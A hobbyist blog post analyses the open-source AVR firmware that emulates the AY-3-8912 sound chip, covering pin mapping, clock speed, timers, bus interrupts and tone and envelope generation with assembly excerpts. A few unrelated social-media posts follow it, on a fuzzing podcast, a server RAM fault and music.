Warning! I strongly recommend using old or second hand equipment for your experiments. I am not responsible for any damage to expensive instruments!
If you are new to microcontrollers, see the Getting Started pages.
AVR-AY-Board
The avr-ay-board is a fully open source design and can use an ATMega48, 88, 168 or 328. The ATMega328P is very commonly used on an Arduino Uno or Nano.
Full details, including a schematic, gerber files, BOM, and firmware are available here: https://github.com/Yevgeniy-Olexandrenko/avr-ay-board.
It shares a lot of firmware heritage with the source available from https://www.avray.ru/. Up until Feb this year there was a link back to the original source, but that has since been removed and it appears to have mostly diverged some time in 2022. There is a list of differences here, but much of the discussion that follows would probably apply to both versions of the code.
The only difference between the ATMega48, 88, 168 and 328 is the amount of memory. They are named for the amount of flash memory – 4K, 8K, 16K, 32K respectively. But otherwise they are functionally identical. Here is the key data from the datasheet:
Note that the ATMega328PB is an enhanced version of the ATMega328P which itself is a slightly lower power (as I understand things) version of the original ATMega328. Application note “AT15007: Differences between ATmega328/P and ATmega328PB” lists the full set of enhancements, but it includes additional UART, SPI, I2C, and timers, although it is essentially backwards compatible with the 328/328P.
All of this means that a standard Arduino Uno or Nano might be able to run the bespoke AY-3-8912 emulation firmware and with the appropriate pin connections might also be able to emulate an AY-3-8912 in another system. Naturally it will be physically larger than the original chip, but electrically it should all work fine.
The Circuit
The original ABR-AY-Board is relatively straight forward. The full schematic is available in the GitHub repository and shows the following:
- A minimal ATTMega48P support circuit (capacitors, oscillator, power, LED).
- Three low-pass filters to filter PWM to an audio output expecting a 1K load (apparently).
- A mapping onto the AY-3-8912 28-pin pinout.
There used to be a detailed “usage” section on the GitHub but that has since been removed, but from the published schematic (v1.5) the pins are accessed and mapped as follows.
AY-3-8912SchematicATMega48PArduino EquivalentD0-D5D0-D5PC0-PC5A0-A5D6-D7D6-D7PD6-PD7D6-D7A8MISO_A8PB4D12BC1BC1PD2D2BC2SCKPB5D13BDIRBDIRPD3D3CLOCKCLOCKPD4D4RESETRESETPC6RESETTESTMOSI_PWM_BPB3D11IOA7-IOA0N/CCOUT_C / PWM_CPB2D10BOUT_B / MOSI_PWM_BPB3D11AOUT_A / PWM_APB1D9CFG0PB0D8CFG1PD5D5RXPD0D0TXPD1D1VCCVCCVCCVCCGNDGNDGNDGND
There is a UART header (TX, RX, VCC, GND), ICSP header (MISO, MOSI, SCK, RESET, VCC, GND), and two configuration jumpers (CFG0, CFG1).
One point that might cause issues mapping over to an Arduino Uno or Nano is that the avr-ay-board has a 27MHz oscillator, whereas the Arduino only runs at 16MHz. That will almost certainly need some looking at.
The Clocks
So about that 27MHz clock. The default Arduino has a 16MHz oscillator so could this run on an unmodified Arduino?
Looking through the code, there seems to be one specific mention of the CPU frequency:
```
    ; --------------------------------------------------------------------------
    ; Init Timer0
    ; --------------------------------------------------------------------------

    ; Fast PWM, TOP = OCR0A
    ldi     r16, (1 << WGM01) | (1 << WGM00)
    OutReg  TCCR0A, r16
    ldi     r16, (1 << WGM02) | (1 << CS00);
    OutReg  TCCR0B, r16

    ; 219512 Hz internal update clock
    ;ldi     r16, (27000000 / (1750000 / 8) - 1)
    ;out     OCR0A, r16
    OutReg  EEARL, YH               ; set EEPROM address 2
    sbi     EECR, b0
    InReg   r18, EEDR               ; load byte 2 from EEPROM to r18
    OutReg  OCR0A, r18              ; set PWM speed from byte 2 of EEPROM (affect AY chip frequency)
```
In the commented out code, there is reference to 27000000. But then that appears to be replaced with code that is reading the PWM frequency from EEPROM.
At the start of the main file is the comment:
```
; ==============================================================================
; Configuration
; ==============================================================================

; EEPROM Config:
; byte 0 - Serial interface enable (1 - enabled)
; byte 1 - Parallel interface enable (1 - enabled)
; byte 2 - PWM speed depending on AY chip frequency and MCU clock frequency
; byte 3 - USART baud speed depending on MCU clock frequency
```
In the build area there is the main hex firmware and then three configurations with the following contents:
```
; firmware/v1.0/compiled/config-1.75mhz.hex
:0500000001017A3AFF46
:00000001FF

; firmware/v1.0/compiled/config-1.78mhz.hex
:050000000101783AFF48
:00000001FF

; firmware/v1.0/compiled/config-2.00mhz.hex
:0500000001016B3AFF55
:00000001FF
```
We can see these differing in the values after 0500000. The next two bytes (0101) map to serial and parallel interface being enabled. These define how the AY-3-8912 registers can be accessed, either using the original device’s parallel data bus or via a newer serial link. The serial link can be used to send register-value pairs to the device rather than use a real AY compatible parallel bus interface.
Then there is a differing byte (7A, 78, or 6B respectively) which is pulled into the timer 0 frequency code and used to set OCR0A in the previous code.
Finally that last byte of the configuration (3A) relating to USART baud, which I infer from older comments in the README file will be 57600, but this is as yet unverified.
On studying the code, it quickly becomes apparent that the whole execution is optimised for specific MCU clock frequencies. This is particularly notable in the interrupt routines, for example, the following:
```
; ==============================================================================
; Parallel communication mode (BC1 on PD2/INT0, BDIR on PD3/INT1)
; ==============================================================================
ISR_INT0:                           ; [4] enter interrupt
    sbic    PinD, PD_BDIR           ; [2/1] check BDIR bit, skip next if clear
    rjmp    LATCH_REG_ADDR          ; [0/2]

    ; [ READ MODE ] (BC1=1, BDIR=0)
    ; --------------------------------------------------------------------------
    ; 350ns max to set data bus, 8 cycles to set
    ; 8 * 37ns = 296ns for 27MHz O.K.
    ; 8 * 40ns = 320ns for 25MHz O.K.
    ; 8 * 42ns = 336ns for 24MHz O.K.
    ; 8 * 50ns = 400ns for 20MHz !!!!
    OutReg  DDRC, BusOut1           ; [1] output -> low level on D0-D5
    OutReg  DDRD, BusOut2           ; [1] output -> low level on D6-D7
```
Here we can see that running at 20MHz (for example) violates the timing constraint to respond with the data on the bus. Running at 24MHz, 25MHz and 27MHz appears to be fine. There are a number of other places in the code where similar comments have been made.
The conclusion seems pretty clear. A standard Arduino Uno or Nano running at 16MHz would not work. Something at 20MHz might do the job with some limits, but there is definitely a reason the board is using 27MHz.
There is a key issue however. AVR 8-bit microcontrollers are typically only specified for up to 20MHz operation. I’ve certainly not found any ATMega48 through to ATMega328 that has a higher frequency specification. There are some newer 8-bit devices that might stretch to 24MHz.
But I’m now wondering if the MCU is being overclocked on this board. It would appear, according to some superficial searching, that people have been overclocking AVRs for years…
Timer Configuration and PWM Output
The emulator is using PWM to produce audio from the AVR. The PWM channels/timers are allocated as follows:
AVR PinTimer OutputCompare RegisterTimerSystem ClockD4 / PD4N/AOCR0A0Channel AD9 / PB1OC1AOCR1AL1Channel BD11 / PB3OC2AOCR2A2Channel CD10 / PB2OC1BOCR1BL1
The first timer, Timer 0, I’ve already mentioned, is used to set the basic internal system “clock” for the emulation. In the real AY PSG the internal clock for tones is set to the external clock / 16 and for envelopes is external clock / 256. In the emulation this is all set in code and the CLOCK input is ignored.
The 8-bit Timer 0 configuration is as follows:
- TCCR0A/TCCR0B = WGM00 | WGM01 | WGM02 | CS00
- OCR0A = value from EEPROM (as mentioned previously)
This uses timer 0 in Fast PWM mode (WGM = 7) with TOP = OCR0A and no prescaler. There is a check in the main loop for Timer 0 overflow which is then used to determine if the sound generation should be processed. This effectively sets the CLOCK for the emulation. The AY CLOCK input is meant to be between 1MHz and 2MHz and EEPROM configurations are provided to emulate 1.75MH, 1.78MHz and 2.0MHz external clocks.
In Fast PWM mode, from the ATMega328 datasheet, for Timer 0, the frequency is given by:
- FreqPWM = FreqCLOCK / (N * 256)
Where N is the prescaler factor, so in this case 1. But this appears to be stated for the case when TOP = 255. If the TOP is reduced, so when TOP = OC0A, then presumably that 256 should be (TOP + 1). Assuming this to be the case, then with a 27MHz clock and the previously mentioned values from the EEPROM, we have
- 0x7A = 122 -> timer freq = 27 MHz / 123 = 219.5 kHz
- 0x78 = 120 -> timer freq = 27 MHz / 121 = 223 kHz
- 0x6B = 107 -> timer freq = 27 MHz / 108 = 250 kHz
These give a basic operating frequency of between 3.5MHz and 4MHz which is twice as fast as the real PSG. I’m guessing that this is because the sound generation code (later) toggles the output value on each period, which therefore requires doubling the frequency to generate the high and low periods.
Note that although this timer is configured in Fast PWM mode, it isn’t actually running PWM, it is just used as a timer. The timer also never “triggers” as such – it is polled for overflow within the main code loop.
The 16-bit Timer 1 configuration:
- TCCR1A/TCCR1B = WGM10 | WGM12 | COM1A1 | COM1B1 | CS10
- PB1 and PB2 set to OUPUT for PWM out on OC1A and OC1B.
This uses timer 1 in 8-bit Fast PWM mode (WGM = 5) with TOP = 0xFF. There is no pre-scaling and OC1A/OC1B cleared on compare match with OC1A/OC1B set at BOTTOM (non-inverting mode).
The 8-bit Timer 2 configuration:
- TCCR2A/TCCR2B = WGM20 | WGM21 | COM2A1 | CS20
- PB3 set to OUTPUT for PWM out on OC2A.
This uses timer 2 in Fast PWM module with TOP = 0xFF (WGM = 3). OC2 is clear on match and set at BOTTOM (non-inverting again).
The PWM resolution for both Timer 1 and Timer 2 will be 8-bits (0 to 255) and the frequency for the output is given by the same formula used for Timer 0, giving a PWM frequency of:
- FreqPWM = 27 MHz / (255+1) = 105.5kHz
Bus Access
There is a comprehensive bus access protocol defined in the AY-3-8910/12 datasheet with several possible modes involving the control signals BC1, BC2, BDIR, and A8 plus /A9 (in the case of the 8910). In particular, there is some redundancy in how the “LATCH” is indicated (see section 2.3 in the “AY-3-8910/8912 Programmable Sound Generator Data Manual” – more here: AY-3-8910 Experimenter PCB Design).
For the emulator, BC1 is tied into the AVR INT0 (via PD2/D2) and BDIR is tied into AVR INT1 (via PD3/D3). If the serial interface is used then there is also an interrupt for the UART. BC2 is ignored so all responses are enacted upon as if BC2 is set to HIGH.:
The basic operation, as far as I can see, is as follows:
```
INT0 ISR - triggered on BC1 -> 1
  IF BDIR == 0  // BC1=1; BDIR=0: Read data
    Set data lines to OUTPUT
    Write BusOut to the data bus
    WAIT for BC1 -> 0
    Set data lines to INPUT

  ELSE BDIR == 1 // BC1; BDIR=1: Latch Address for read
    Read ADDR from data lines
    Grab value from pseudo register in RAM into BusOut

INT1 ISR - triggered on BDIR -> 1
  IF BC1 == 0  // BC1=0; BDIR=1: Write data
    Read DATA from data lines
    Store value to pseudo register in RAM

  ELSE BC1 == 1 // BC1=1; BDIR=1: Latch Address for write
    Read ADDR from data lines
```
There is a pseudo image of all AY registers stored in RAM which is used by the main loop for the sound processing. This RAM image is updated when the AY is written to and can be accessed when the AY is read.
Note that there is no access control. If an interrupt comes in part way through an update to the sound generators they will stop process and then continue from that point unaware than any register updates have taken place. This does mean that if any registers are accessed twice, it is quite possible that they would have changed by the time of the second access.
Similar logic happens within the UART interrupt handler, but instead address and data values are obtained over the serial port and interactions with RAM updated according to the bytes recieved.
I’ve not looked further into the serial handling at this time other than to note that all updating is performed withing the UART ISR which is receive only.
Main Sound Processing Loop
The main logic free runs as follows:
```
MAIN Loop:
  IF Timer 0 Overflow Flag is SET:
    Process envelope generator
    Process noise generator
    Process tone generator for channel A
    Process tone generator for channel B
    Process tone generator for channel C
    Process mixer control
    Process amplitude control for channel A
    Process amplitude control for channel B
    Process amplitude control for channel C
    Update PWM values in OCR1AL (ch A), OCR2A (ch B), OCR1BL (ch C)
```
So the loop essentially pauses until timer 0 overflows at which point all sound generation activity undertakes a single scan and then the PWM sound generation registers are updated.
Before I dive in, I should note that the register definitions are of the form AY_REGnn where nn is a decimal from 00 to 15. The datasheet describes Ro where o is an octal value from R0 to R7, then R10 to R17. I will be using the decimal versions here to match with the code.
I’m not going to work through how the sound generation works in its entirety right now, but I will just include a note about the tone generation. Here is the code for channel A.
```
    ; Channel A
    subi    CntAL, 0x01             ; CntA - 1
    sbci    CntAH, 0x00
    brpl    CH_A_NO_CHANGE          ; CntA >= 0
    lds     CntAL, AY_REG00         ; update channel A tone period counter
    lds     CntAH, AY_REG01
    subi    CntAL, 0x01             ; CntA - 1
    sbci    CntAH, 0x00
    eor     TNLevel, ZH             ; TNLevel xor 1 (change logical level of channel A)
CH_A_NO_CHANGE:
```
All counters (CntAL and CntAH for channel A) are 16-bit values. AY_REG00 and AY_REG01 are the RAM copies of the two tone generator registers for channel A.
We can see that the channel counter is decremented on each scan through the routine implementing the following pseudo code:
```
counter--
IF (counter == 0):
  Reset counter from AY_REG00 and AY_REG01
  Toggle logic level for channel A
```
This means that the output square wave value for channel A will toggle between HIGH and LOW every time the counter reaches zero and that the counter will have to count to zero twice to make a complete cycle of the square wave.
The datasheet states that the tone registers define a 12-bit tone generator period:
The resulting sound frequency is given by the equation:
As we have to count twice to get our square wave output, we can see why the timer 0 “clock” frequency has to be twice the desired running CLOCK of the AY-3-8912. An alternative implementation could have been to add an additional check as part of the countdown to change the waveform half-way through.
This does mean that all sound generator registers are processed twice as quickly as expected so that might have to be taken into account when calculating other parameters.
The main impact would be for the envelope generator, which according to the data sheet runs a frequency CLOCK / 256. There is a EG period counter defined by AY_REG11 and AY_REG12 (R13 and R14) for further subdivision, so a full sweep of the envelope will happen with a frequency of CLOCK / (256 * EGcounter).
The datasheet also notes that “the envelope generator further counts down the envelope frequency by 16 producing a 16-state per cycle envelope pattern”. This means that the frequency required to process each individual step of these 16 states is: 16 * CLOCK / (256 * EGCounter) or CLOCK / (16 * EGCounter).
The Envelope Code is essentially doing the following:
```
Every LOOP scan:
  IF env reg updated:
    Reinitialise EG
    Reset EGCounter from AY_REG11, AY_REG12
    EGPeriod = 31
    Re-enable EG

  ELSE
    IF EG enabled:
      EGCounter --
      IF EGCounter == 0:
        EGPeriod --
        IF EGperiod == 0:
          EGPeriod = 31
          Disable EG

        Reset EGCounter from AY_REG11, AY_REG12
        Eval = Envelope value
```
This implies that a full sweep of the envelope takes EGcounter * 32 scans of the main LOOP. As the LOOP is running at twice the frequency of the CLOCK. this gives an EG frequency of:
- LOOP / (32 * EGcounter) = CLOCK * 2 / (32 * EGCounter) = CLOCK / (16 * EGCounter)
Which matches the datasheet. So the doubling of the LOOP frequency is taken into account by having 32 steps for the EG base period rather than 16.
A few other observations from the code:
- The envelope period counters are stored in AY_REG11 and AY_REG12 (R13 and R14) and managed using CntEL and CntEH via r26 and r27.
- The line ‘sbiw CntEL, 0x01’ is a 16-bit instruction and so acts on both r26 (CntEL) and r27 (CntEH) at the same time as a HIGH/LOW 16-bit pair.
- The counter updating currently happens at the LOOP frequency which is 2 * CLOCK. Every time the counter hits 0 the step is advanced. It therefore takes 32 * counter passes through the LOOP to process the entire cycle of the envelope.
- The envelope period is managed using TabP which is initilised to 0x1F (31 decimal).
- Whenever the envelope counter reaches 0 the next envelope period is selected via TabP.
- The resultant envelope value is stored in Eval which is used as the maximum value for the amplitude calculations later in the loop.
Curiously there are two envelope volume tables provided as options. The first (“AY_TABLE”) distinctly shows the doubling of levels turning 16 values into 32 values. The second (“YM_TABLE”) appears to have some interpolation between values giving a higher resolution envelope.
From wikipedia: “The input clock is first divided by 16 (or by 8 in the YM2149, because the envelope generator has twice as many steps, and thus needs twice as many clocks to complete a full cycle), and then by the 16-bit value.”
So by starting with double the CLOCK frequency, we effectively get YM compatibility “for free”.
Only a single envelope table is required – it defines a linear incrementing pattern that is then used and reused in various ways according to the EG control bits in AY_REG13 (R15) as per figure 7 in the datasheet. I’m not going to dig into that further at this point. I might come back to it in the future.
I’m also not going to dig into the noise generation, mixer or amplitude control at this time.
Closing Thoughts
I really like I feel I know a lot more about how the AY-3-8910/8912 work now and certainly am, as usual, in awe of those who figured all this out and then how to emulate it on a modern (ish) microcontroller.
It is also interesting to note that the emulation hasn’t been updated, as far as I know, for anything more capable than an 8-bit AVR. I guessing it just isn’t necessary and avoiding the whole 3V3/5V logic thing has a certain appeal.
The two commercially available solutions I’ve seen from RC2014 for the WhyEm sound card and the vRetro 28-pin direct replacements, stick with AVR and overclock as far as I can tell. RC2014 using ATMega48AP at 27MHz and vRetro using two ATTiny MCUs and what I think is a 30MHz oscillator.
I would like to see if I can get a standard ATMega328P running the code and then I’d be really interested in seeing if it could be made to run on a Logic Green LGT8F328 “AVR clone” that apparently should be able to run at 32MHz.
I believe I’ve convinced myself not to attempt to build the AY-3-8910 out of discrete logic…
Kevin
#arduino #atmega328 #avr #ay38910 #ay38912 #vretro
#arduino #atmega328 #avr #ay38910 #ay38912 #vretro
Zeroday Podcast (stefan) @[email protected] · 2025-05-07 · 09:27 UTC

Die neue #episode vom #zeroday #podcast ist #online. In der Folge #0d123 geht es um fuzzing, weshalb Stefan über die Software QS auch reden muss.
Sven bestätigte das er nun verstanden habe was fuzzing ist und freut sich auf den zweiten Teil des Themas.
https://0x0d.de/2025/05/0d123-fuzzing-was-ist-eigentlich-fuzzing/
#security #testing #istqb #blackbox #whitebox #qa #fuzzing

#episode #zeroday #podcast #online #0d123 #security
gandalf @[email protected] · 2026-02-21 · 13:25 UTC

#fcz Omlouvám se za včerejší serii výpadků. Začal se nám bez varování restartovat hostitel. Pohledem do logu jsem našel hlášku "EDAC MC1: 1 CE error on CPU#1Channel#2_DIMM#0 (channel:2 slot:0 page:0x0 offset:0x0 grain:8 syndrome:0x0)" nasvědčující vadnému modulu RAM.
Vadný modul se nám povedlo v noci identifikovat a vyměnit, tak snad bude zase na nějakou dobu klid.
V řádu týdnů plánuju migraci na nového hostitele.

#fcz
Ether Diver @[email protected] · 2026-03-12 · 19:42 UTC

Nullstring – Nullstring’s Favorite Music Time Beats
Intriguing collection of weird sampledelic beats that mashes up pop-culture bits into catchy but twisted grooves.
https://video.infosec.exchange/w/p/rb2sKooHWsAqajJMGrGNkd?playlistPosition=1
@0x00string
https://www.etherdiver.com/2026/03/06/opm-new-weird-age/#Nullstring
#Plunderphonics #sampledelica #samples #sampling

#plunderphonics #sampledelica #samples #sampling